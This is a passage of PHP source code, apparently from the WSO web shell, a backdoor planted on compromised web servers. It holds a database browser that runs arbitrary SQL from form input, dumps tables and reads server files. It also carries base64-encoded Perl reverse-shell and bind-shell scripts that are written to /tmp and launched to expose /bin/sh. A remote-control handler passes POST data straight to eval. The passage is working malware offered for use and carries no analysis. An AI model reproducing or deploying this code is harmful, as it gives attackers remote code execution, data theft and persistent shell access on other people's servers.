1282 $db->setCharset('koi8u');
1283 break;
1284 case "cp866":
1285 $db->setCharset('cp866');
1286 break;
1287 }
1288 $db->listDbs();
1289 echo "<select name=sql_base><option value=''></option>";
1290 while ($item = $db->fetch()) {
1291 list($key, $value) = each($item);
1292 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
1293 }
1294 echo '</select>';
1295 } else echo $tmp;
1296 } else echo $tmp;
1297 echo "</td>
1298 <td><input type=submit value='>>'></td>
1299 </tr>
1300 </table>
1301 <script>
1302 function st(t,l) {
1303 document.sf.p1.value = 'select';
1304 document.sf.p2.value = t;
1305 if(l!=null)document.sf.p3.value = l;
1306 document.sf.submit();
1307 }
1308 function is() {
1309 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1310 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1311 }
1312 </script>";
1313 if (isset($db) && $db->link) {
1314 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1315 if (!empty($_POST['sql_base'])) {
1316 $db->selectdb($_POST['sql_base']);
1317 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1318 $tbls_res = $db->listTables();
1319 while ($item = $db->fetch($tbls_res)) {
1320 list($key, $value) = each($item);
1321 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
1322 $value = htmlspecialchars($value);
1323 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "')\">" . $value . "</a> (" . $n['n'] . ")</nobr><br>";
1324 }
1325 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1326 if (@$_POST['p1'] == 'select') {
1327 $_POST['p1'] = 'query';
1328 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2'] . '');
1329 $num = $db->fetch();
1330 $num = $num['n'];
1331 echo "<span>" . $_POST['p2'] . "</span> ($num) ";
1332 for ($i = 0;$i < ($num / 30);$i++) if ($i != (int)$_POST['p3']) echo "<a href='#' onclick='st(\"" . $_POST['p2'] . "\", $i)'>", ($i + 1), "</a> ";
1333 else echo ($i + 1), " ";
1334 if ($_POST['type'] == 'pgsql') $_POST['p3'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
1335 else $_POST['p3'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
1336 echo "<br><br>";
1337 }
1338 if ((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1339 $db->query(@$_POST['p3']);
1340 if ($db->res !== false) {
1341 $title = false;
1342 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1343 $line = 1;
1344 while ($item = $db->fetch()) {
1345 if (!$title) {
1346 echo '<tr>';
1347 foreach ($item as $key => $value) echo '<th>' . $key . '</th>';
1348 reset($item);
1349 $title = true;
1350 echo '</tr><tr>';
1351 $line = 2;
1352 }
1353 echo '<tr class="l' . $line . '">';
1354 $line = $line == 1 ? 2 : 1;
1355 foreach ($item as $key => $value) {
1356 if ($value == null) echo '<td><i>null</i></td>';
1357 else echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
1358 }
1359 echo '</tr>';
1360 }
1361 echo '</table>';
1362 } else {
1363 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
1364 }
1365 }
1366 echo "<br><textarea name='p3' style='width:100%;height:100px'>" . @htmlspecialchars($_POST['p3']) . "</textarea><br/><input type=submit value='Execute'>";
1367 echo "</td></tr>";
1368 }
1369 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1370 if (@$_POST['p1'] == 'loadfile') {
1371 $file = $db->loadFile($_POST['p2']);
1372 echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
1373 }
1374 }
1375 echo '</div>';
1376 wsoFooter();
1377 }
1378 function actionNetwork() {
1379 wsoHeader();
1380 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1381 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1382 echo "<h1>Network tools</h1><div class=content>
1383 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1384 <span>Bind port to /bin/sh [perl]</span><br/>
1385 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1386 </form>
1387 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1388 <span>Back-connect [perl]</span><br/>
1389 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1390 </form><br>";
1391 if (isset($_POST['p1'])) {
1392 function cf($f, $t) {
1393 $w = @fopen($f, "w") or @function_exists('file_put_contents');
1394 if ($w) {
1395 @fwrite($w, base64_decode($t));
1396 @fclose($w);
1397 }
1398 }
1399 if ($_POST['p1'] == 'bpp') {
1400 cf("/tmp/bp.pl", $bind_port_p);
1401 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
1402 echo "<pre class=ml1>$out
1403" . wsoEx("ps aux | grep bp.pl") . "</pre>";
1404 }
1405 if ($_POST['p1'] == 'bcp') {
1406 cf("/tmp/bc.pl", $back_connect_p);
1407 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
1408 echo "<pre class=ml1>$out
1409" . wsoEx("ps aux | grep bc.pl") . "</pre>";
1410 }
1411 }
1412 echo '</div>';
1413 wsoFooter();
1414 }
1415 function actionRC() {
1416 if (!@$_POST['p1']) {
1417 $a = array("uname" => php_uname(), "php_version" => phpversion(), "wso_version" => VERSION, "safemode" => @ini_get('safe_mode'));
1418 echo serialize($a);
1419 } else {
1420 eval($_POST['p1']);
1421 }
1422 }
1423 if (empty($_POST['a'])) if (isset($default_action) && function_exists('action' . $default_action)) $_POST['a'] = $default_action;
1424 else $_POST['a'] = 'SecInfo';
1425 if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) call_user_func('action' . $_POST['a']);
1426 exit;